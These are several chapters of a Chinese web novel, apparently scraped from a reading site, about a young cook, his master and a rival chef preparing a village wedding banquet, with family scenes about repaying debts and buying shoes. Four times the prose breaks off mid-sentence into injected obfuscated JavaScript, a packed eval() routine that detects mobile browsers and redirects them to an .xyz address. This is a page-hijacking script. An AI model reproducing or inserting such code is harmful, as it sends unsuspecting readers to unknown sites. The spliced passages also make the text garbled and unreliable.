肖磊上前一步，笑着向郑强伸出手：“郑师傅，你好，我是肖磊，这场坝坝宴有三十几桌，我也是临时被请来的，刚到，连个帮手都没有。 要不咱俩一起把这活接了，把这场坝坝宴给它办好来，让宾客吃的开心，让新人也能高高兴兴把喜事办了，你觉得如何？” 这话一出，在场的人都有些惊讶，都看着肖磊。 这事已经定了，主家认定要让肖磊做，郑强也没说什么，怎么他还主动站出来邀请郑强一起干？ 那可是要给他分钱的啊。 周砚也是欲言又止，师父糊涂啊。 郑强看着伸出手的肖磊，同样有点懵，这是什么情况啊？ 他在蓉城学厨十多年，眼力是有的，肖磊精壮的小臂，满是老茧的虎口和指腹，绝对是一个老厨子。 他琢磨了一下，觉得这位肖师傅可能因为他是蓉城餐厅出来的厨师，想从他身上学一些高级餐厅的经验，所以才会主动跟他示好。 嗯，非常合理。 这场坝坝宴对他来说，是一个非常好的机会，他接下来就是打算先从乡厨做起，钱不重要，名声更重要。 只要他展露出高超的厨艺，让这位老师傅甘拜下风给他当墩子，那他就是这场坝坝宴的主厨，名声一样能打出去撒！ 不过，肖磊……这个名字怎么感觉有点耳熟啊？一时又记不起。 “肖师傅你好，非常高兴能和你一起合作。”郑强立马握住了肖磊的手，笑着说道：“你说得对，最重要的是把坝坝宴办好，让客人吃得开心，新人不用操心，主家得了体面。” “那太好了，两位师傅强强联合，这次坝坝宴肯定没问题。”二伯周泽连忙拿着烟上前，递到郑强的手里，笑得眼睛都看不见了。 花同样的钱，请了两位大师傅来，这可太划算了！ 乡厨？ 让他在医院安心躺着吧。 “老哥，你让人先把猪杀了，切分好一会就得用，蒸菜今天就要准备好。”肖磊收回手，看着周泽说道：“然后把那乡厨写的菜单拿来给我们瞧瞧，再带我们去看看都备了哪些菜，我好安排活路。” 肖师傅一下子就切换到工作模式，做事有条有理，让郑强有点不适应，连忙跟着点头：“对。” “要得，我去安排！”周泽点头，回头找人。 “杀猪我来！”周杰应了一声，立马喊人：“海子哥，飞哥，还有你们给我按猪去。” 人群里站出来几条壮汉，朝着墙角那头瑟瑟发抖的大肥猪走去。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200198|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也按猪去，你四爸来了让他杀，他杀猪手艺一等一的好。”大爷周清笑着拍了一下周杰的手臂，看着刚把车停下的周淼。 “要得！”周杰笑了一声，也跟着嗷嗷叫冲了过去。 周淼过来打了声招呼，便被拉去杀猪了。 郑强则到一旁和陈家父子俩说话。 “师父，你怎么突然让郑师傅一起干啊？”周砚这才找到机会，小声问肖磊。 “你瞧见他的身材和手没有？敦实，手臂粗壮，手上老茧子非常资格，基本功绝对扎实。”肖磊一脸满意。 “所以？” “我缺个墩子嘛，你等会就要回饭店忙，晚上和明天要整凉菜，三十桌菜，我一个人啷个整得完。”肖磊笑道，“三级厨师考试，对刀工要求不低，这样的墩子，打起灯笼都不好找。” 周砚：“……” 师父不愧是师父啊。 哄着两句就要把人三级厨师当墩子使了。 瞧那郑师傅刚刚眉梢微挑，扬起嘴角的表情，应该已经在想如何大展身手了吧？ 二伯很快拿来了菜单，领着他们往备菜区走去，一边介绍情况。 那乡厨经验丰富，三十桌以上的坝坝宴没少办，时间安排上比较紧凑，原计划是中午开始杀猪，弄九大碗那些，连猪都还没杀，几十只鸡也还关在笼子里，素菜、配菜那些倒是准备的差不多了。 肖磊了解完情况，手里拿着菜单又研究了一会，说道：“安排人手把鸡也杀了，现在晚上够凉快，不怕坏，今天就把蒸菜先预蒸一道，明天才能不慌不忙。我看他这里调料是不够数的，香料那些也要买，我列个单单，你让人去供销社买……” 大爷和二伯跟在旁边，一边听一边点头记下。 中午那乡厨摔了之后，让他儿子过来报信，把卤水和香料抱走了。 肖师傅这个国营大厂的厨师长硬是不一样，做事太有条理了，而且缺啥子，缺好多，要去哪里买，都讲得明明白白的。 郑强本来是和肖磊并肩而行的，也准备好好指点一二，但过了一会，他就自觉慢了一步，和周砚并排。 因为他清楚的感觉到，仅仅看着那张菜单，他无法对这场宴席要用到多少调料、香料，以及在哪里可以买到给出准确的指令。 蓉城餐厅的采购是有专人负责的，他每次到厨房都有用不完的调料、香料，配菜也是送到厨房的。 从刚刚的斗志昂扬，大饭店出身的优越感满满，到慢慢缩起脑袋，沉默不言，也就三分钟。 跟在肖磊身边，有种跟在他师父身边的感觉。 听着感觉很有道理，话都插不上一句。 没错，被压制了。 周砚瞄了他一眼，嘴角微翘，大饭店出来，好像也没那么灵啊。 “郑师傅，你怎么看？”肖磊停下脚步，回头看着郑强笑问道。 “啊？额……”郑强强颜欢笑，“我觉得肖师傅说得对。” 肖磊点头：“那就先按我说的去做嘛。” “不过，我觉得这个菜单还是单调了点，一水的猪肉，客人容易吃腻。”郑强越想越觉得不得劲，又开口道：“要不加个樟茶鸭，搞一份宫保鸡丁，再弄个干烧鲤鱼嘛，我们蓉城餐厅包席客人都爱点，评价也很好。” (本章完) 第82章 富贵不还乡（第三更！） 这份菜单是上一位乡厨拟定的，以三蒸九扣为核心，搞的九大碗。 镶碗、咸烧白、夹沙肉、粉蒸肉、东坡肘子、猪耳朵、猪头肉…… 确实都是以猪肉为主，有道鱼，也是水煮后直接浇料汁的水煮鲤鱼。 主打一个量大管饱，用蒸锅一蒸，能够快速出餐。 光看菜单的话，确实觉得有点单调和油腻。 不过郑强这话一说出口，其他四个人齐刷刷看向了他，大爷和二伯欲言又止，目光不自觉地往肖磊那看。 “郑师傅的提议很好，如果能够加一份樟茶鸭，再来个宫保鸡丁和干烧鲤鱼，让来吃席的宾客们也尝尝外宾来了才能享用到的蓉城餐厅味道，那大家绝对一致好评啊。”肖磊笑着道。 “嗯，是这个理。”郑强点头，嘴角已经开始上扬。 “但是啊，咱们办坝坝宴，不能光想着菜式丰盛，花样多，还要考虑主人家的本钱。”肖磊笑着继续道：“你看这份菜单，上面的菜从猪头到猪肚再到猪蹄全部都是利用起来的，那边那头大肥猪杀下去，这三十桌坝坝宴的九大碗就差不多齐了。” “你要再去弄三十只鸭子，弄三十份宫保鸡丁要用的鸡腿腿，你算算这里要增加多少成本？” “再有一个，宫保鸡丁和干烧鲤鱼对火候和吃的时效性有很高的要求，三十份，你有没有把握在相近的时间全部上桌？” 郑强不笑了。 因为笑容转移到了周砚的脸上。 周砚开始有点明白什么叫学院派了，在大餐厅呆久了，是有点脱离人民群众的啊。 一旁的大爷和二伯听得也是连连点头，结婚花费多着呢，乡下坝坝宴能搞九大碗，让客人吃肉吃到饱，那就是很体面的宴席了。 他们知道郑强有见识，在蓉城大餐厅里干过，但要说懂坝坝宴，还得是肖师傅啊。 郑强听懂了肖磊的话，也感受到了大爷和二伯复杂的眼神。 嗫嗫半天，想找个地缝钻进去。 不是，他一边喊他郑师傅，一边当他师父一样训他是什么道理啊？ “师父，干烧改红烧，鱼先油炸一道，两口大锅一起煮，最后收汁一浇汤，我觉得比纯水煮可能味道好点。”周砚提了个建议。 “我也是这样想的。”肖磊点头，看着郑强道：“郑师傅，明天这道菜交给你来做，没问题吧？” 郑强挺起腰杆，又有了几分信心：“没问题，这是我的拿手好菜，一锅十条，能搞定。” “那太好了，让大家也尝尝蓉城餐厅风味的红烧鱼，绝对是赞不绝口。”肖磊笑着夸赞，又道：“那今天下午你负责剁肉酱、切肉片嘛，要弄镶碗、咸烧白、粉蒸肉那些，对刀工要求很高，村里喊的帮工，刀工不得行，这么重要的任务，还是要郑师傅来。” “要得，我来就我来。”郑师傅笑着点头，自信又果断。 周砚抿着嘴默默别过脸去，怕自己笑出来。 他突然有点懂了，师父以前对小周经常骂，偶偶夸他两句觉得可稀奇了，夸完让干啥干啥，指哪打哪，不嫌脏不嫌累，跟打了鸡血一样。 现在这招被用到郑师傅身上了。 随着肖磊的一阵安排梳理，被喊来帮工的都动起来了，杀猪、宰鸡、烧火，各司其职，有条不紊。 “周砚，你这个师傅硬是厉害，不愧是厨师长，不愧是国家二级大厨。”二伯拉着周砚，脸上的笑容透着满意：“今天要不是你，这事办不了那么好。” “浩哥结婚，应该的。”周砚笑着从随身挎包里摸出一叠用绳子捆好的钱，递给二伯，“二伯，这是之前开店找你借的，浩哥结婚花钱的地方多，我把钱还给你。” “还啥子，不是说明年再还吗，你先把饭店经营好，我们不缺这一百块钱。”二伯连连摆手，不肯接钱。 周砚笑着把钱塞到他口袋里：“我肯定是有才会还你，小心收好，别落了，等会把钱点一哈，少了跟我讲哈。” “你这个娃娃……”二伯也忍不住笑了，满是欣慰的点头：“好，那我就收了，你能挣到钱，二伯更高兴。” 周砚和他闲聊了几句，然后挎着包去找其他债主去了。 大爷、三伯，还有几个走得近的本家亲戚，今天全聚齐了。 周砚转了一圈，把钱给他们全部还上。 周海和周杰在帮着刮猪毛，腾不出手来，周砚就把钱还给了两位嫂子。 今天早上和中午的营业额被他提现了，凑了一百六，刚好全部还清。 周砚走到院门口，缓缓举起双手，伸展全身。 啊—— 这就是无债一身轻的感觉啊！ 爽！ “周砚硬是能干哦，才短短三个月，就把借的钱全部还完了！” “这年轻人不光会挣钱，还会存钱，你看周砚就是个榜样，存下来先把借的钱给还了，多好的娃娃。” “那还用说，我们看着长大的娃，从小就听话懂事，铁英也是有福气。” 帮工嬢嬢们的夸赞，随风从院子里飘了出来。 周砚上扬的嘴角已经不自觉地咧开，笑了起来。 这就是衣锦还乡的感觉啊，可惜赵嬢嬢不在啊，这么爽的时刻，竟然没有让她一起享受。 老周同志主刀，放完血就让几个小辈去刮猪毛，一会他再来开猪肚分肉，已经坐门口的长石条上歇了有一会。 周砚还钱，还有院里的议论声他全听见了。 脸上的笑容根本藏不住，这会还假模假样的问道：“还完了？” “对，全还完了。”周砚笑着点头，“现在就剩你们那五百了。” “你妈都说了，不用还。” “不行，必须还。”周砚看了眼老周同志打着补丁的布鞋，随口道：“你的脚跟我的一样长嘛。” “就是，这双鞋你妈本来是给你做的，你不穿的嘛，给我刚好合适。”老周同志跺了跺脚，笑着道：“你看，还多舒服，你妈手艺好得很，比供销社卖的都巴适。” “嗯嗯，你老婆最厉害。”周砚笑着道，只要说起他妈，不苟言笑的老周同志眼神都会变得温柔起来。 一头猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200199|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有两个猪耳朵，一个猪头三十桌肯定不够，二伯他们已经提前找杀猪匠定了，明天一早去各家提货。 这活周杰已经揽下了，明天一早就去拿猪头，和牛肉一起给周砚送到店里。 周砚负责卤猪耳朵、卤牛肉、卤猪头肉，以及一道凉拌鸡，共计四个凉菜。 准确地说，凉拌鸡是老太太负责的，笼子里留了四只公鸡，没老母鸡养的久，肉更细嫩，适合用来凉拌。 今天他没活了。 “那我先回店里忙了，今天晚上我回家住，你不用来接人，就在这边吃嘛。”周砚和老周同志说道。 “要得。”老周看了一眼杀猪凳的方向，也是起身忙去了。 周砚和师父打了声招呼，看了眼正坐在小板凳上认真剥蒜的郑师傅，笑着转身离开。 回饭店半道上，周砚转到桥头卖百货服装的摊位上转了一圈，和摊贩讨价还价花20.2元买了一双“83鞋”皮鞋。 他试着买的，刚好合适，穿着比他脚上的布鞋舒服是说不上，但看起来铮亮，是要精神不少。 百货商店定价卖19元，但是要去嘉州才买得到，周砚今天没空跑嘉州了，晚上下班嘉州百货商店也下班了。 周砚又挑了一双女士皮鞋，一番砍价之后，26.5元拿下。 “你这个男同志也太会砍价了，我这两双鞋简直就是白给你带的，一毛钱利润都没得啊。”老板把鞋装到周砚的车篮子里，苦笑着说道。 “谢谢老板，老板大气，发大财。”周砚把钱给了，推着车往别的摊位走去。 这老板利润肯定是有的，周砚是按百货商店的标价来砍的，多一块钱左右。 做生意的老板嘛，嘴巴哪有实话，就是想让你有种占到便宜的错觉，下回还来她这买鞋。 这年代的百货商店，定价是非常良心的，利润率压得很低。 这两双皮鞋是上海来的高档货，价格确实有点贵，但皮质透气，比穿解放鞋舒服。 明天婚宴，周砚口袋里的钱不够给赵嬢嬢和老周同志换一身新的，只能先给他们换双皮鞋。 转了几个摊摊，周砚花八毛钱给周沫沫买了双虎头小布鞋。 红色的鞋面，用金色的线缝的老虎脑袋，看起来虎头虎脑，十分可爱。 本地嬢嬢纯手工缝的，只能赚点手工费。 周砚骑上车，往饭店赶，已经临近工厂下班时间。 赵嬢嬢坐在门口守着，望眼欲穿，看到周砚的身影才松了口气。 “怎么去那么久？我还说你不回来炒菜了。”赵嬢嬢起身，关切道：“你二嬢他们忙得过来不嘛？” “我师父一出马，安排的妥妥当当，一点问题没有。”周砚把车推进饭店，然后拿出那双女士皮鞋递给跟着进门来的赵嬢嬢：“试看合适不，不合适我拿去换。” “皮鞋？”赵铁英看着周砚递来的鞋子，黑色的皮面光滑细腻，搭扣是铜制的，泛着金色的光，有些迟疑的轻声问道：“你……给我买皮鞋？” …… (本章完) 第84章 泡菜坛子打屁酸气冲天！（第五更！） 第84章泡菜坛子打屁——酸气冲天！（第五更！） 今天周砚回来得晚，刚好赶上工厂下班，忙到这会都还没吃晚饭。 小家伙心心念念要去搂席，中途说要给她盛饭都不要。 “好嘛，看看回去还有没有饭干。”周砚笑着从口袋里摸出一颗彩纸包装的橘子味硬糖，剥了糖纸递到周沫沫嘴边，“你先吃颗糖垫垫肚皮。” “啊呜！”周沫沫张大嘴巴一口接过糖，立马露出了笑容，眉眼弯弯含糊道：“好甜！谢谢锅锅。” 赵嬢嬢把剩饭装满一个饭盒，用网兜提着，和三双鞋一起放到车后座挂的背篼里。 周砚把布包挎上，里边装着他的全部家当，推着自行车出门。 给门挂上锁，赵嬢嬢看着周沫沫道：“你要坐背篼还是前杠？” “坐前边！我要跟锅锅摆龙门阵！”周沫沫往周砚跟前凑。 “来嘛。”周砚弯腰把她拎了起来，放在了前杠上。 小家伙老练的抓住把手，开心叫道：“出发！出发！” 周砚蹬着自行车，沿着河堤，迎着夕阳骑去。 红霞漫天，与江水连成一片，美不胜收。 “锅锅你看！是瑶瑶姐姐的画！”周沫沫伸手指着夕阳惊喜说道，大眼睛亮晶晶的。 “嗯，她可能也看到了。”周砚笑着点头。 …… 此时川美女生宿舍楼302室，坐在窗口看着落日余晖发呆的女生打了个喷嚏。 “瑶瑶，你感冒了吗？披个外套吧，太阳下山还是有点冷。”邓虹关切的声音从身后传来。 “没有，就是突然打了个喷嚏。”夏瑶笑着说道，将思绪从天边收回，手中的铅笔在纸上沙沙画了几笔。 “周砚还没有给你回信吗？”邓虹一脸八卦地凑过来。 一旁正在编辫子的朱玉玉停下动作，关切的扭头看来。 “信哪有那么快的，他有没有收到都不知道呢。”夏瑶笑着道：“而且他那么忙，应该要有空了才能给我回信。” “也是，山高路远，就算是信也得好多天才能到。”邓虹点头。 “邓虹！邓虹——” 窗外响起了一道拉长的声音。 邓虹眼睛一亮，立马扑到窗边往下看。 马星野手里提着三个热水壶举过头顶，正咧嘴冲着她笑：“热水给你们打来了。” “好！我马上下来！”邓虹应了一声，笑靥如花，回头看着俩人道：“我去给你们拿暖水壶。” “我们去提，不耽误你们牵手去逛操场。”朱玉玉和夏瑶笑嘻嘻道。 “什么呀，我们没有牵……”邓虹脸一红，娇羞道。 女生宿舍到食堂要走十分钟，而且热水也不是随时都有的，这些天沾了热恋期的邓虹的光，倒是省了不少打热水的麻烦。 马星野也从学院篮球队长，一跃成了美院女生宿舍的知名暖男，一次提三个暖水壶的大暖·男。 …… 周村村口树下依旧坐着一群摆龙门阵的大妈。 今天他们的蛐蛐对象，主要是正在准备坝坝宴的周老二家，坐在树下就能瞧见周老二家门口热气腾腾的蒸笼，一层又一层，垒的比人都高，一排四个，相当有排场。 “周老二接儿媳妇，这排场不一样哦，我听说原来的乡厨刘老八摔断了手，又去请了两位大厨来，一个是纺织厂的厨师长，一个是蓉城餐厅的大厨。” “他们家关系硬是不一般，临时都能请来那么厉害的大厨！我听说那厨师长是周砚请来的，说是他师父。” “周砚不是还欠着一钩子债，都说他饭店生意好，也没见他把钱还上的嘛。我看，也是吹牛。” “高翠花，你莫要乱讲，刚刚我去担水，我表嫂才跟我讲，周砚今天刚把所有人的钱都还清了，人家现在是一分外债都没得咯。你操心好你家周亮亮就行了。” 树下顿时一片寂静，老婶子们的表情变得精彩起来。 “全部全部还完了啊？不是说**百的嘛！” “就是！前面不是说他饭店点生意没得，这半个月才慢慢好起来的嘛？” “开饭店那么好挣钱？这周砚硬是有本事！” 高翠花听完脸都黑了，他和赵铁英一直不对付，年轻的时候就没少吵架，只是从来没吵赢过，打也打不过，啥都被她压一头。 前段时间听说周砚开饭店亏了钱，可把她乐坏了，怎么看自家儿子都觉得顺眼，至少没把她的养老钱给坑进去。 结果周亮亮前几天不知被灌了什么**汤，非跑到纺织厂门口去摆摊卖面、买汤锅，这一折腾亏了上百块，还找她要了八十，可把她心疼坏了。 现在听到周砚挣了钱，把外债都还清了，想到赵铁英那得意的模样，可真是比杀了她都难受。 周砚骑着车回到村口，赵铁英往树下的人群扫了一眼，瞧见了高翠花，忙扯了一下周砚的衣服，小声道：“骑慢点。” “啊？”周砚侧头，刚好瞧见赵嬢嬢从背篼里翻出两双皮鞋抱在了怀里，秒懂，立马把车速降了下来。 “周砚回来了啊，好久没看到你了。” 有人跟周砚打着招呼。 也有眼尖的瞧见赵铁英怀里抱着两个油纸袋，随口问道。 “铁英手里抱的啥子宝贝嘛？” 赵铁英叹了口气道：“周砚给我和他老汉一人买了双皮鞋，上海牌子，又软又透气，穿着是舒服。这娃娃一点都不把细（节约），挣了点钱就乱花。” 赵嬢嬢说着，还把那双女士皮鞋从袋子里拿出来往前递出去晃了一圈，金闪闪的扣子，在傍晚也依旧亮眼。 树下老婶子的眼睛都亮了起来，皮鞋！金扣！款式可真好看！ 哪有半分嫌弃，满满都是炫耀。 一旁高翠花气得鼻子都歪了，别过脸去不看。 赵铁英把众人的反应尽收眼底，嘴角都快咧到耳根了，又扯了一下周砚的衣服。 “嬢嬢们，那我们就先回去了哈，还要去我二伯那边帮忙。”周砚笑着说道，蹬上自行车走了。 “嬢嬢们，再见。”周沫沫也是冲着她们挥挥小手。 车子骑远了，赵铁英把鞋子放回口袋，笑得花枝乱颤。 今天可真是扬眉吐气啊！ 爽！ 特别是瞧见高翠花黑着脸，鼻子都气歪的模样，更是觉得神清气爽。 这阵子郁积的闷气，一口气全出了！ 周砚脸上也带着笑，能让赵嬢嬢开心，他也开心。 “妈妈，你笑啥子？”周沫沫满是好奇的问道。 “妈妈高兴，日子太好过了，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200201|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天比一天好。”赵铁英笑着说道，仰着脸，把眼角的泪花花憋了回去。 她可是铁娘子，今天怎么动不动就想流眼泪，丢人！ “铁英好有福气哦！皮鞋都穿上了！” “我在百货商店看到过，一双要二十多块钱呢，一买就买两双！” “周砚这娃娃孝顺，舍得给老娘、老汉花钱，铁英和老四自己哪里舍得买皮鞋哦。” 树下众人又摆起了龙门阵，话里话外都是对赵铁英的羡慕，和对周砚的褒奖。 “一双皮鞋，有啥子好稀奇。”高翠花撇了撇嘴，起身往家的方向走，心头已经在盘算，晚上要把儿子、儿媳喊来训话，让他们也给自己买双皮鞋！ “泡菜坛子打屁——酸气冲天！”等她走远了，有个嬢嬢锐评道。 树下顿时一阵哄笑，气氛又变得融洽而欢快起来。 二八大杠在二伯门前停下。 今天来帮忙的人凑了四桌，正在吃晚饭，瞧见周砚他们来，哗啦啦站起来了一堆人。 周砚先把周沫沫提溜着放到地上。 周沫沫看着已经吃了一半的众人，小嘴一嘟，有点委屈：“你们……不等我啊？我都还没有吃饭饭。” “哎哟，沫沫，我们也不晓得你这个点才来嘛，我单独给你留了一碗肉汤圆。” “来来来，大伯这里有糖糖，专门给你留的。” “锅锅这里有橘子，抿甜。” “沫沫好乖哦，今天的小辫子真好看。” “小脸肉嘟嘟的，捏起来跟发好的馒头一样。” 伯父、嬢嬢、哥哥、嫂子们哗啦啦围上来，这个摸糖，那个掏橘子。 周沫沫的口袋装满了，两只小手拉起衣摆，里边兜满了喜糖、瓜子和橘子，奶声奶气的喊：“够了！够了！满了！” 周砚在旁边笑，这就是团宠的魅力吗？ 周沫沫可真幸福。 周沫沫兜着一堆零食和糖果，笑得眼睛都看不见了，还不忘礼貌地冲着大家点了个头，“谢谢大家，祝大家新婚快乐，早生贵子。” 大家听完都笑了。 “这话要跟你浩哥说，他才是新郎官。”赵铁英无奈笑道，教了她一个下午明天要跟新郎新娘怎么说吉祥话，她倒是今天晚上就急着用了。 周砚和大家打了招呼，便去了他师父那桌。 郑强和肖磊坐一起，喝了点酒，明显有点上头了，拉着肖磊摆龙门阵：“肖哥，你这厨艺确实厉害！办事周到，有规划，我要向你学习。不过，我师父也很厉害，国家一级厨师，我觉得你跟他有点像，所以我对你一见如故……” “来来来，郑师，为一见如故走一个。”肖磊笑吟吟的端起酒杯和他碰了一下。 “走……走一个。”郑强端起酒杯仰头把杯子里的酒干了，身体晃了晃，直接趴在桌上。 周砚刚过来，就看到郑强喝醉趴桌上，表情有点古怪，小声道：“师父，你把郑师傅灌醉了啊？明天不是一早就要起来干活吗？” “灌个锤子，他自己倒了一两酒，喝完就趴这里了，他这叫碰瓷。”肖磊笑着摇头道：“你喊你哥把他弄去睡，这点酒，明天早上该几点就几点喊他没问题。” 第五更！晚点还会有一更！ 求月票！求订阅~！ (本章完) 第85章 卤牛肉和凉拌鸡（第六更！） “要得。” 周砚应了一声，去找来周浩和周海，左右一架，就把郑强给弄走了。 他自己拿了副碗筷过来，在肖磊身边坐下，给师父把酒倒上，聊了一些关于明天酒席的安排。 嘉州的坝坝宴，主打中午这一顿，九大碗，硬菜都在这顿上，让宾客吃饱、吃满意。 晚上那顿，会吃的比较简单，有两个肉菜，再炒几个素菜就行，肉末酸豇豆那都算下红苕稀饭的好菜。 其实不光是嘉州，周砚在川内吃过几回婚宴，都是午宴这顿最为隆重，婚礼仪式也是在中午进行，与浙省重晚宴有所差别。 至于晚上那顿，一般都是下午搓了麻将，喝碗稀饭垫垫肚子，然后就各自回家了。 谁家肚子能连着吃两顿大油大荤啊。 肖磊一手搭着周砚的肩膀，语重心长道：“跟你奶奶好好学，她的卤味手艺你只要能学到八分，在苏稽不愁卖，镇上的人都要跑来买。” “嗯，我明白。”周砚点头。 师父没怪他拜师他人，反倒劝他好好学，这点已是极为难得。 过了一会，二伯带着几兄弟轮流来敬酒，周砚的堂哥们也跟着来，酒量不错的肖师傅渐渐有点上头。 吃完饭天都黑了，喝了一斤白酒的肖磊推辞不留宿，但自行车上了三回都没上去，最后被周砚拖走了。 周砚的卧室好久没人睡了，房间里就一张木板床，床头摆了一个旧箱子。 铺盖倒是齐全，就是久了没睡有点霉味。 把醉醺醺的师父脱了鞋丢床上，周砚洗漱回来他已经脱了外套，滚到里边靠墙睡的正香。 酒品倒是不错，喝醉倒头就睡，不**，不骂人，也不拉着人摆龙门阵。 周砚今天来回折腾也累得不行，拉了灯往床上一躺，倒头就睡，哪还管什么散着霉味的被子和旁边鼾声如雷的师父。 有心思嫌弃这些，说明还不够累。 第二天天还没亮，周砚便听到一阵窸窣响声，睁眼瞧见师父站在床边穿鞋，翻起身来揉了揉眼，有些意外道：“师父，你怎么这么早？” 昨天看他喝的酩酊大醉，还担心他今天起不来，没想到师父起的比他还早。 “鸡都叫了，还早个屁。”肖磊从怀里摸出手表看了一眼，“四点半，接亲队伍六点钟要出发，五点半要吃饭，我现在过去烧锅，给他们下两锅面，将合适。” “要得，那我也起来了。”周砚应了一声，也跟着起床，天黑没亮，打着电筒出门。 院子里，老周同志和赵嬢嬢已经一人拿个搪瓷杯在刷牙。 “你们啷个也起那么早？”周砚疑惑地看着两人。 赵嬢嬢簌了口，笑着道：“去帮忙撒，你二伯说怕年轻人去接亲不把稳，误了时辰就麻烦了，喊你老汉一起去接亲，负责带队。我昨天没去帮忙，今天肯定要早点去，早上煮面也要有人搭把手嘛。” “肖师傅，家里条件简陋，昨晚怕是没睡好吧？”老周同志则是关切地看着肖磊问道。 “睡得好，一觉睡到鸡公叫，好久没睡得那么踏实了。”肖磊笑着应道。 简单洗漱，众人便都出门去了。 周沫沫还没睡醒，包着小被子放在背篼里，被老周同志背着出门。 周砚瞧了一眼背篼里的小姑娘，打着电筒，骑上车往老宅方向走。 时间那么早，周砚本以为老太太还没起。 但车子拐过转角，便瞧见老宅门口亮着一抹昏黄的灯光。 周卫国拿着一条湿毛巾，正在仔细的擦拭着自行车的角角落落，车把手上绑着一团红绸，看起来十分喜庆。 老太太坐在门口的石凳上，今天穿了一件藏青色的对襟褂子，脚上穿的新布鞋，一头银发往脑后梳的服服贴贴，看起来十分精神，瞧见周砚骑车来，笑着起身：“你倒是起得早。” “奶奶，小叔，怎么也起那么早？”周砚停下车。 “周浩要结婚，肯定要早点起来做准备，今天接亲用我这辆车，我先把它抹干净再给他送过去。”周卫国应道。 “走嘛，去把鸡拿上，早上还有的忙。”老太太提着一个包裹走过来，直接坐上了车。 “坐稳哈。”周砚笑着说了一声，蹬着车走了。 周浩结婚，整个家族都把这事放在心尖上，齐心协力想要把事情办好、办漂亮。 老太太的言传身教，周砚有点懂了。 周杰和周海一早就起来烧水杀鸡，这会已经处理的干干净净，见周砚来了，在背篼里垫了个尼龙袋，把四只鸡放了进去。 “你先慢慢骑车带奶奶回店里，我去拿牛肉和猪头，马上给你送来。”周杰和周砚说了一声，蹬上自行车就先走了。 周砚把手电绑车把手上，骑着车载着老太太不紧不慢地往镇上走。 这年代没路灯，路也不好，老太太一把年纪，周砚可不敢莽撞。 “奶奶，为啥不直接把卤水端到坝坝宴这里来卤呢？这样不是更方便？”路上，周砚问道。 “卤味是一门可以安身立命的手艺，坝坝宴开阔场地，人多眼杂，人家要是有心偷学，你怎么防？”老太太不疾不徐道：“香料就那几样，放多点放少点可以慢慢试，只要有五六分味道像你，他把价格往下降三成，客人就会选他们家不吃你了，这是其一。” “其二，你这一锅卤水是用我的老卤水煮出来的，这路上来回颠簸，容易进脏东西变质，要是路上撒了，更是得不偿失。一锅好的卤水，轻易不要动，更不要让别人碰。” “卤好的菜，拿到坝坝宴再切，一点不影响味道。以前我摆摊的时候，嘉州的饭店每天都要来我这里拿卤好的猪头肉和猪耳朵，整只拿回去，有客人点再切。” “我懂了。”周砚点头，对卤水的重要性有了更深刻的认识。 周砚到店一会，周杰也到了，把肉搬进厨房。 背篼里装了三个去了骨的猪头，额外加了八只猪耳朵，这东西刀儿匠一般可不会单独卖的，杰哥路子还是野。 另外还有十五斤牛腱子，今天新鲜现杀的，周村不缺牛肉，他们一家子杀牛匠，提前和同行说一声就行。 最后拿出来来四只巴掌长的猪蹄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200202|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还要卤猪蹄吗？”周砚有点意外，这是菜单外的东西。 周杰笑着道：“昨天杀的那头猪的猪蹄，我老汉说奶奶和沫沫喜欢吃，让你一起卤了单独给奶奶下酒，让沫沫也啃一只。” “要得。”周砚笑着点头，二伯可真是尊老爱幼，他负责卤，不知道能不能尝尝咸淡。 “还需要帮忙不？”周杰问道。 “不用，你去接亲嘛，这边交给我就行。”周砚摆手，已经开始打水清洗食材。 “奶奶，那我就先回去了哈。”周杰和老太太说了一声，小跑着出门去了。 结婚，接亲是最重要的环节。 作为周浩的亲哥，他肯定也是想陪着一起去的。 厨房里，周砚负责干活，老太太就在旁边负责指点。 卤猪头肉、卤猪耳朵，周砚已经精通，处理起食材来得心应手。 